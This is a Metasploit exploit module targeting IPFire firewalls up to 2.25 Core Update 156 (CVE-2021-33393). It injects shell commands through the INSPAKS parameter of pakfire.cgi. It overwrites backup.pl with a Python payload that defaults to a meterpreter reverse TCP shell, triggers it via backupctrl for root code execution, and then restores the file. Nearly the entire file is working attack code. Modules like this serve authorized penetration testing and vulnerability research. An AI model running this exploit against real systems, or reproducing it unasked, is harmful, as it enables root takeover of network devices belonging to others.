##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IPFire 2.25 Core Update 156 and Prior pakfire.cgi Authenticated RCE',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerability in the
          /cgi-bin/pakfire.cgi web page of IPFire devices running versions 2.25 Core Update 156
          and prior to execute arbitrary code as the root user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mücahit Saratar <trregen222@gmail.com>', # vulnerability research & exploit development
          'Grant Willcox' # Module enhancements and documentation fixes.
        ],
        'References' => [
          [ 'EDB', '49869' ],
          [ 'CVE', '2021-33393'],
          [ 'URL', 'https://github.com/MucahitSaratar/ipfire-2-25-auth-rce'],
          [ 'URL', 'https://www.youtube.com/watch?v=5FUXV7dfNjg'],
        ],
        'Privileged' => true,
        'Targets' => [
          [
            'Python Dropper',
            {
              'Platform' => 'python',
              'Arch' => [ ARCH_PYTHON ],
              'Type' => :unix_memory,
              'DefaultOptions' => {
                'PAYLOAD' => 'python/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DisclosureDate' => '2021-05-17',
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ CONFIG_CHANGES, IOC_IN_LOGS ]
        },
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        Opt::RPORT(444),
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ true, 'Password to login with', '']),
      ]
    )
  end

  def vpath
    '/cgi-bin/pakfire.cgi' # vulnerable path
  end

  def send_packet(method, execstr, waitsec)
    myheaders = {
      'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
      'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/"
    }
    if method == 'GET'
      response = send_request_cgi(
        'uri' => vpath,
        'headers' => myheaders,
        'SSL' => true,
        'timeout' => waitsec
      )
    else
      response = send_request_cgi(
        'uri' => vpath,
        'headers' => myheaders,
        'SSL' => true,
        'method' => 'POST',
        'vars_post' => {
          'INSPAKS' => ";#{execstr}",
          'ACTION' => 'install',
          'x' => Rex::Text.rand_text_numeric(2),
          'y' => Rex::Text.rand_text_numeric(2)
        },
        'timeout' => waitsec
      )
    end
    response
  end

  def check
    cevap = send_packet('GET', '', 10)
    if cevap.nil? || cevap.body.empty?
      return CheckCode::Unknown('No response from the target!')
    end

    unless cevap.body.scan(/401 Unauthorized/).empty?
      return CheckCode::Unknown('Invalid credentials supplied! Check USERNAME and PASSWORD options!')
    end

    version = cevap.body.scan(/IPFire (.*) \(.*\) - Core Update [0-9]{3}/).flatten[0] || ''
    core = cevap.body.scan(/IPFire .* \(.*\) - Core Update (.*)/).flatten[0] || ''
    unless version
      return CheckCode::Safe('Target is not IPFire')
    end
    if core.to_i >= 157
      return CheckCode::Safe("Target is running IPFire #{version} (Core Update #{core})")
    end

    CheckCode::Appears("Target is running IPFire #{version} (Core Update #{core})")
  end

  def exploit
    temp_backup_file = Rex::Text.rand_text_alphanumeric(5, 30)
    print_status("Backing up backup.pl to /tmp/#{temp_backup_file}...")
    if send_packet('POST', "cp /var/ipfire/backup/bin/backup.pl /tmp/#{temp_backup_file}", 1).nil?
      fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to back up backup.pl!")
    end

    print_status('Overwriting the contents of backup.pl with a Python header statement')
    if send_packet('POST', 'echo "#!/usr/bin/python" > /var/ipfire/backup/bin/backup.pl', 1).nil?
      fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to overwrite backup.pl!")
    end

    print_status('Appending the contents of backup.pl with the Python code to be executed.')
    if send_packet('POST', "echo \"#{payload.encoded}\" >> /var/ipfire/backup/bin/backup.pl", 1).nil?
      fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to append to backup.pl!")
    end

    print_status('Executing /usr/local/bin/backupctrl to run the payload')
    unless send_packet('POST', '/usr/local/bin/backupctrl', 1).nil?
      fail_with(Failure::UnexpectedReply, 'Something went wrong, the server should not respond after we execute the payload.')
    end

    print_good('You should now have your shell, restoring the original contents of the backup.pl file...')
    if send_packet('POST', "cp /tmp/#{temp_backup_file} /var/ipfire/backup/bin/backup.pl", 20).nil?
      fail_with(Failure::Unreachable, "#{peer} disconnected whilst trying to restore backup.pl!")
    end

    print_status('All done, enjoy the shells!')
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end
